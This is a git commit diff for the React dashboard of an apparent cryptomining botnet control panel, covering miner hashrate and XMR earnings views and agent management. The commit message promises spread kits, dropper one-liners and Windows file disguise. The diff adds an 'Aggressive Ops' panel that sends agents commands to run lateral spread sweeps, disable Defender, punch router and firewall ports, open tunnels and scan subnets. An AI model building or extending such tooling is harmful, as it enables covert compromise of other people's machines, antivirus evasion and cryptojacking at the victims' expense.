Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -2,6 +2,7 @@ import { lazy, Suspense } from 'react';
|
||||
import { Routes, Route, Navigate } from 'react-router-dom';
|
||||
import SessionGate from './components/SessionGate';
|
||||
import Layout from './components/Layout/Layout';
|
||||
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||
|
||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||
@@ -19,21 +20,25 @@ function PageFallback() {
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<SessionGate>
|
||||
<Layout>
|
||||
<Suspense fallback={<PageFallback />}>
|
||||
<Routes>
|
||||
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
||||
<Route path="/dashboard" element={<DashboardPage />} />
|
||||
<Route path="/agents" element={<AgentsPage />} />
|
||||
<Route path="/forge" element={<BuilderPage />} />
|
||||
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
||||
<Route path="/guide" element={<GuidePage />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
</Routes>
|
||||
</Suspense>
|
||||
</Layout>
|
||||
</SessionGate>
|
||||
// WebSocketProvider mounts a single WS connection shared by all routes.
|
||||
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||
<WebSocketProvider>
|
||||
<SessionGate>
|
||||
<Layout>
|
||||
<Suspense fallback={<PageFallback />}>
|
||||
<Routes>
|
||||
<Route path="/" element={<Navigate to="/dashboard" replace />} />
|
||||
<Route path="/dashboard" element={<DashboardPage />} />
|
||||
<Route path="/agents" element={<AgentsPage />} />
|
||||
<Route path="/forge" element={<BuilderPage />} />
|
||||
<Route path="/builder" element={<Navigate to="/forge" replace />} />
|
||||
<Route path="/guide" element={<GuidePage />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
</Routes>
|
||||
</Suspense>
|
||||
</Layout>
|
||||
</SessionGate>
|
||||
</WebSocketProvider>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import type { WSMessage } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
@@ -12,7 +12,7 @@ interface Props {
|
||||
onToggleExpand: () => void;
|
||||
onSelect: () => void;
|
||||
onCheck?: (checked: boolean) => void;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
commandResults?: SeqCommandResult[];
|
||||
}
|
||||
|
||||
export default function AgentListItem({
|
||||
@@ -24,7 +24,7 @@ export default function AgentListItem({
|
||||
onToggleExpand,
|
||||
onSelect,
|
||||
onCheck,
|
||||
latestWsMessage,
|
||||
commandResults,
|
||||
}: Props) {
|
||||
const online = agent.status === 'online';
|
||||
|
||||
@@ -58,6 +58,11 @@ export default function AgentListItem({
|
||||
)}
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
{agent.platform && (
|
||||
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
|
||||
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
@@ -89,7 +94,7 @@ export default function AgentListItem({
|
||||
<span>v{agent.version || '?'}</span>
|
||||
</div>
|
||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
||||
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -91,6 +91,13 @@
|
||||
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
|
||||
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
|
||||
|
||||
.button-grid button.btn-magenta { border-color: rgba(255, 0, 255, 0.35); color: #ff00ff; }
|
||||
.button-grid button.btn-magenta:hover { background: rgba(255, 0, 255, 0.12); box-shadow: 0 0 15px rgba(255, 0, 255, 0.35); }
|
||||
|
||||
.aggressive-group { border-color: rgba(255, 0, 255, 0.15); }
|
||||
.aggressive-group h3 { color: #ff00ff; }
|
||||
.action-group-hint { margin: -8px 0 12px; font-size: 0.75rem; color: #666; line-height: 1.35; }
|
||||
|
||||
.screenshot-viewer {
|
||||
margin-bottom: 20px;
|
||||
border: 1px solid #00e5ff;
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, WSMessage } from '../../types';
|
||||
import type { WSCommandResult } from '../../types/ws';
|
||||
import type { Agent } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
|
||||
interface Props {
|
||||
/** Legacy: pass full agent object from list/detail pages */
|
||||
agent?: Agent;
|
||||
@@ -12,7 +15,11 @@ interface Props {
|
||||
/** Explicit online flag — use when agent object may be stale */
|
||||
online?: boolean;
|
||||
compact?: boolean;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
/** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
|
||||
* Every entry is processed; no results are dropped (fixes M13). */
|
||||
commandResults?: SeqCommandResult[];
|
||||
/** @deprecated Pass commandResults instead. */
|
||||
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
}
|
||||
|
||||
@@ -22,7 +29,7 @@ export default function AgentRemoteActions({
|
||||
agentName: agentNameProp,
|
||||
online: onlineProp,
|
||||
compact = false,
|
||||
latestWsMessage,
|
||||
commandResults,
|
||||
onCommandSent,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
@@ -31,32 +38,58 @@ export default function AgentRemoteActions({
|
||||
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const logEndRef = useRef<HTMLDivElement>(null);
|
||||
// Track the highest _seq we've already processed.
|
||||
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
|
||||
// where .slice(-N) trims old entries so absolute indices exceed the array length.
|
||||
const lastSeenSeq = useRef(0);
|
||||
|
||||
const addLog = useCallback((msg: string) => {
|
||||
setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
|
||||
setTerminalLog((prev) => {
|
||||
const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
|
||||
// Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
|
||||
return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
|
||||
});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||
}, [terminalLog]);
|
||||
|
||||
// When the selected agent changes, reset the seen-seq cursor to the current maximum.
|
||||
// This prevents reprocessing results from the previous agent or a stale queue.
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||
const payload = latestWsMessage.payload as WSCommandResult;
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||
|
||||
if (action === 'screenshot' && success && message) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`Screenshot received from ${agent_id}`);
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
if (commandResults && commandResults.length > 0) {
|
||||
lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
|
||||
}
|
||||
}, [latestWsMessage, agentId, addLog]);
|
||||
// Intentionally only runs on agentId change — commandResults excluded from deps
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [agentId]);
|
||||
|
||||
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||
useEffect(() => {
|
||||
if (!commandResults || commandResults.length === 0) return;
|
||||
const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
|
||||
if (newEntries.length === 0) return;
|
||||
lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;
|
||||
|
||||
for (const payload of newEntries) {
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
||||
|
||||
if (action === 'screenshot' && success && message) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
addLog(`Screenshot received from ${agent_id}`);
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
}
|
||||
}
|
||||
}, [commandResults, agentId, addLog]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
@@ -69,6 +102,9 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
|
||||
setBusy(action);
|
||||
try {
|
||||
@@ -130,6 +166,14 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
|
||||
const isFleet = agentId === 'all';
|
||||
const caps = agent?.capabilities;
|
||||
const platform = agent?.platform;
|
||||
|
||||
const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||
!isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);
|
||||
|
||||
const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||
aggressiveActionHint(action, caps, platform);
|
||||
|
||||
return (
|
||||
<div className="tactical-panel">
|
||||
@@ -170,6 +214,94 @@ export default function AgentRemoteActions({
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group aggressive-group">
|
||||
<h3>NAT & Aggressive Ops</h3>
|
||||
<p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
|
||||
<div className="button-grid">
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch_status')}
|
||||
title={aggTitle('hole_punch_status')}
|
||||
onClick={() => dispatch('hole_punch_status')}
|
||||
>
|
||||
WAN IP
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch')}
|
||||
title={aggTitle('hole_punch')}
|
||||
onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
|
||||
>
|
||||
Hole Punch
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('hole_punch_close')}
|
||||
title={aggTitle('hole_punch_close')}
|
||||
onClick={() => dispatch('hole_punch_close', { command: '8989' })}
|
||||
>
|
||||
Close Punch
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('firewall_punch')}
|
||||
title={aggTitle('firewall_punch')}
|
||||
onClick={() => dispatch('firewall_punch', { command: '8989' })}
|
||||
>
|
||||
Open FW Port
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('start_tunnel')}
|
||||
title={aggTitle('start_tunnel')}
|
||||
onClick={() => dispatch('start_tunnel')}
|
||||
>
|
||||
Cloudflare Tunnel
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('subnet_scan')}
|
||||
title={aggTitle('subnet_scan')}
|
||||
onClick={() => dispatch('subnet_scan', { command: '64' })}
|
||||
>
|
||||
Subnet Scan
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('spread_now')}
|
||||
title={aggTitle('spread_now')}
|
||||
onClick={() => dispatch('spread_now')}
|
||||
>
|
||||
Spread Now
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('mesh_status')}
|
||||
title={aggTitle('mesh_status')}
|
||||
onClick={() => dispatch('mesh_status')}
|
||||
>
|
||||
Mesh Peers
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-red"
|
||||
disabled={aggDisabled('defender_off')}
|
||||
title={aggTitle('defender_off')}
|
||||
onClick={() => dispatch('defender_off')}
|
||||
>
|
||||
Disable Defender
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{screenshotData && (
|
||||
|
||||
@@ -121,12 +121,6 @@
|
||||
grid-column: span 2;
|
||||
}
|
||||
|
||||
.agent-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
margin-top: 1rem;
|
||||
}
|
||||
|
||||
.agent-action-btn {
|
||||
padding: 0.4rem 0.75rem;
|
||||
|
||||
@@ -92,10 +92,16 @@ export function EarningsEstimator({ hashrate }: { hashrate: number }) {
|
||||
setXmrPerDay(null);
|
||||
return;
|
||||
}
|
||||
// AbortController ensures a stale in-flight response never overwrites a
|
||||
// newer estimate when hashrate changes rapidly (fixes M16).
|
||||
const controller = new AbortController();
|
||||
api.getEarningsEstimate(hashrate).then((r) => {
|
||||
setXmrPerDay(r.xmr_per_day);
|
||||
setNote(r.note);
|
||||
}).catch(console.error);
|
||||
if (!controller.signal.aborted) {
|
||||
setXmrPerDay(r.xmr_per_day);
|
||||
setNote(r.note);
|
||||
}
|
||||
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
|
||||
return () => controller.abort();
|
||||
}, [hashrate]);
|
||||
|
||||
if (xmrPerDay == null || hashrate <= 0) return null;
|
||||
|
||||
@@ -5,6 +5,11 @@ import './MatrixStreamOverlay.css';
|
||||
export default function MatrixStreamOverlay({ active, onClose }: { active: boolean; onClose: () => void }) {
|
||||
const { recentShares } = useWebSocket();
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||
// Keep a ref to the latest shares so the draw loop always sees fresh data
|
||||
// WITHOUT being listed as a useEffect dependency — this stops the animation
|
||||
// from restarting every time a new share arrives (fixes L7).
|
||||
const sharesRef = useRef(recentShares);
|
||||
sharesRef.current = recentShares;
|
||||
|
||||
useEffect(() => {
|
||||
if (!active || !canvasRef.current) return;
|
||||
@@ -25,33 +30,29 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
let drops: number[] = Array(Math.floor(columns)).fill(1);
|
||||
|
||||
const draw = () => {
|
||||
// Black BG for the canvas
|
||||
// translucent BG to show trail
|
||||
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
|
||||
ctx.fillRect(0, 0, canvas.width, canvas.height);
|
||||
|
||||
ctx.fillStyle = '#0F0'; // Green text
|
||||
ctx.fillStyle = '#0F0';
|
||||
ctx.font = `${fontSize}px monospace`;
|
||||
|
||||
const shares = sharesRef.current;
|
||||
for (let i = 0; i < drops.length; i++) {
|
||||
let text = letters.charAt(Math.floor(Math.random() * letters.length));
|
||||
|
||||
// Occasionally drop a raw share payload in the stream
|
||||
if (Math.random() > 0.99 && recentShares.length > 0) {
|
||||
const share = recentShares[Math.floor(Math.random() * recentShares.length)];
|
||||
text = JSON.stringify({ agent: share.agent_id?.substring(0,6), hash: share.hash?.substring(0,8), valid: share.accepted });
|
||||
if (Math.random() > 0.99 && shares.length > 0) {
|
||||
const share = shares[Math.floor(Math.random() * shares.length)];
|
||||
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
|
||||
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
ctx.fillStyle = '#0F0'; // Reset color
|
||||
ctx.fillStyle = '#0F0';
|
||||
} else {
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
}
|
||||
|
||||
// sending the drop back to the top randomly after it has crossed the screen
|
||||
if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
|
||||
drops[i] = 0;
|
||||
}
|
||||
|
||||
drops[i]++;
|
||||
}
|
||||
};
|
||||
@@ -61,7 +62,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
clearInterval(interval);
|
||||
window.removeEventListener('resize', resize);
|
||||
};
|
||||
}, [active, recentShares]);
|
||||
}, [active]); // recentShares intentionally excluded — read via sharesRef
|
||||
|
||||
if (!active) return null;
|
||||
|
||||
|
||||
40
server/web/src/context/WebSocketContext.tsx
Normal file
40
server/web/src/context/WebSocketContext.tsx
Normal file
@@ -0,0 +1,40 @@
|
||||
import React, { createContext, useContext } from 'react';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import type { WSCommandResult } from '../types/ws';
|
||||
|
||||
/**
|
||||
* WSCommandResult with a monotonic sequence number attached by the provider.
|
||||
* Consumers should track `_seq` instead of array index to avoid the ring-buffer
|
||||
* drop bug that occurs when `.slice(-N)` trims the array but the stored index
|
||||
* remains >= N.
|
||||
*/
|
||||
export type SeqCommandResult = WSCommandResult & { _seq: number };
|
||||
|
||||
export interface WebSocketContextValue {
|
||||
isConnected: boolean;
|
||||
agents: Agent[];
|
||||
recentShares: Share[];
|
||||
fleetAlerts: FleetAlert[];
|
||||
poolStatus: PoolStatus[];
|
||||
aiActivity: AIActivityEntry[];
|
||||
agentLogs: Record<string, string>;
|
||||
commandResults: SeqCommandResult[];
|
||||
/** @deprecated Use commandResults instead. */
|
||||
latestMessage: WSMessage | null;
|
||||
}
|
||||
|
||||
export const WebSocketContext = createContext<WebSocketContextValue>({
|
||||
isConnected: false,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
});
|
||||
|
||||
export function useWebSocketContext(): WebSocketContextValue {
|
||||
return useContext(WebSocketContext);
|
||||
}
|
||||
192
server/web/src/context/WebSocketProvider.tsx
Normal file
192
server/web/src/context/WebSocketProvider.tsx
Normal file
@@ -0,0 +1,192 @@
|
||||
import React, { useEffect, useRef, useCallback, useState } from 'react';
|
||||
import type {
|
||||
WSDashboardInit,
|
||||
WSAgentOffline,
|
||||
WSStatsUpdate,
|
||||
WSCommandResult,
|
||||
WSAgentLog,
|
||||
} from '../types/ws';
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import { WebSocketContext } from './WebSocketContext';
|
||||
import type { SeqCommandResult } from './WebSocketContext';
|
||||
|
||||
/**
|
||||
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
||||
* All components call useWebSocket() and receive data from this one connection
|
||||
* — fixes M12 (duplicate connections when multiple components called the hook).
|
||||
*/
|
||||
export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
const wsRef = useRef<WebSocket | null>(null);
|
||||
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const unmounted = useRef(false);
|
||||
const [isConnected, setIsConnected] = useState(false);
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
||||
const [fleetAlerts, setFleetAlerts] = useState<FleetAlert[]>([]);
|
||||
const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]);
|
||||
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
|
||||
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
|
||||
const [commandResults, setCommandResults] = useState<SeqCommandResult[]>([]);
|
||||
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
|
||||
// Monotonic counter so consumers can detect new entries even after the ring buffer trims old ones
|
||||
const cmdSeqRef = useRef(0);
|
||||
|
||||
const connect = useCallback(() => {
|
||||
if (unmounted.current) return;
|
||||
|
||||
if (reconnectTimer.current) {
|
||||
clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = null;
|
||||
}
|
||||
|
||||
const existing = wsRef.current;
|
||||
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||
existing.close();
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
|
||||
|
||||
ws.onclose = () => {
|
||||
if (unmounted.current) return;
|
||||
setIsConnected(false);
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
reconnectTimer.current = setTimeout(connect, 3000);
|
||||
};
|
||||
|
||||
ws.onerror = () => { ws.close(); };
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
try {
|
||||
const msg = JSON.parse(event.data) as WSMessage;
|
||||
setLatestMessage(msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case 'init': {
|
||||
const data = msg.payload as WSDashboardInit;
|
||||
if (data.agents) setAgents(data.agents);
|
||||
break;
|
||||
}
|
||||
case 'agent_online': {
|
||||
const agent = msg.payload as Agent;
|
||||
setAgents((prev) => {
|
||||
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||
if (idx >= 0) {
|
||||
const updated = [...prev];
|
||||
updated[idx] = { ...updated[idx], ...agent };
|
||||
return updated;
|
||||
}
|
||||
return [...prev, agent];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'agent_offline': {
|
||||
const { agent_id } = msg.payload as WSAgentOffline;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) => a.id === agent_id ? { ...a, status: 'offline' as const } : a)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'stats_update': {
|
||||
const update = msg.payload as WSStatsUpdate;
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
a.id === update.agent_id
|
||||
? {
|
||||
...a,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
}
|
||||
: a
|
||||
)
|
||||
);
|
||||
break;
|
||||
}
|
||||
case 'new_share': {
|
||||
const share = msg.payload as Share;
|
||||
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
||||
break;
|
||||
}
|
||||
case 'fleet_alert': {
|
||||
const alert = msg.payload as FleetAlert;
|
||||
setFleetAlerts((prev) => [alert, ...prev].slice(0, 20));
|
||||
break;
|
||||
}
|
||||
case 'pool_status': {
|
||||
const pools = msg.payload as PoolStatus[];
|
||||
if (Array.isArray(pools)) setPoolStatus(pools);
|
||||
break;
|
||||
}
|
||||
case 'ai_activity': {
|
||||
const entry = msg.payload as AIActivityEntry;
|
||||
setAiActivity((prev) => {
|
||||
const idx = prev.findIndex((a) => a.agent_id === entry.agent_id);
|
||||
if (idx >= 0) {
|
||||
const next = [...prev];
|
||||
next[idx] = entry;
|
||||
return next;
|
||||
}
|
||||
return [...prev, entry];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'command_result': {
|
||||
const p = msg.payload as WSCommandResult;
|
||||
const seq = ++cmdSeqRef.current;
|
||||
// Cap at 2000; command results are rare (operator-triggered) so this is plenty.
|
||||
// Consumers MUST use _seq for change detection — NOT array index — because the
|
||||
// slice trims old entries and makes absolute indices stale.
|
||||
setCommandResults((prev) => [...prev, { ...p, _seq: seq }].slice(-2000));
|
||||
if (p.agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||
setAgentLogs((prev) => ({ ...prev, [p.agent_id!]: p.message! }));
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'agent_log': {
|
||||
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||
if (agent_id) setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
console.error('Failed to parse WebSocket message:', err);
|
||||
}
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
unmounted.current = false;
|
||||
connect();
|
||||
return () => {
|
||||
unmounted.current = true;
|
||||
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||
const ws = wsRef.current;
|
||||
if (ws) { ws.onclose = null; ws.close(); }
|
||||
};
|
||||
}, [connect]);
|
||||
|
||||
return (
|
||||
<WebSocketContext.Provider value={{
|
||||
isConnected, agents, recentShares, fleetAlerts, poolStatus,
|
||||
aiActivity, agentLogs, commandResults, latestMessage,
|
||||
}}>
|
||||
{children}
|
||||
</WebSocketContext.Provider>
|
||||
);
|
||||
}
|
||||
65
server/web/src/help/aggressiveActions.ts
Normal file
65
server/web/src/help/aggressiveActions.ts
Normal file
@@ -0,0 +1,65 @@
|
||||
import type { AgentCapabilities } from '../types';
|
||||
|
||||
/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
|
||||
export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'hole_punch',
|
||||
'hole_punch_close',
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'mesh_status',
|
||||
] as const;
|
||||
|
||||
export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
|
||||
|
||||
export function canRunAggressiveAction(
|
||||
action: AggressiveRemoteAction,
|
||||
caps?: AgentCapabilities | null,
|
||||
platform?: string
|
||||
): boolean {
|
||||
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||
if (!caps) return true;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
case 'hole_punch_close':
|
||||
case 'hole_punch_status':
|
||||
return caps.hole_punch;
|
||||
case 'spread_now':
|
||||
return caps.auto_spread || caps.remote_aggressive;
|
||||
case 'start_tunnel':
|
||||
case 'subnet_scan':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
return caps.remote_aggressive;
|
||||
case 'mesh_status':
|
||||
return caps.mesh_p2p;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function aggressiveActionHint(
|
||||
action: AggressiveRemoteAction,
|
||||
caps?: AgentCapabilities | null,
|
||||
platform?: string
|
||||
): string | undefined {
|
||||
if (platform === 'darwin' && action === 'defender_off') {
|
||||
return 'Defender disable not supported on macOS';
|
||||
}
|
||||
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
case 'hole_punch_close':
|
||||
case 'hole_punch_status':
|
||||
return 'Re-forge with Advanced → NAT Hole Punch';
|
||||
case 'spread_now':
|
||||
return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
|
||||
case 'mesh_status':
|
||||
return 'Re-forge with Mesh P2P';
|
||||
default:
|
||||
return 'Re-forge with Remote Aggressive Ops (Advanced)';
|
||||
}
|
||||
}
|
||||
@@ -210,5 +210,45 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
||||
});
|
||||
}
|
||||
|
||||
if (form.spread_kit && form.target_os !== 'universal') {
|
||||
checks.push({
|
||||
id: 'spread_kit_os',
|
||||
level: 'error',
|
||||
message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.spread_kit && form.fusion_enabled) {
|
||||
checks.push({
|
||||
id: 'spread_fusion',
|
||||
level: 'error',
|
||||
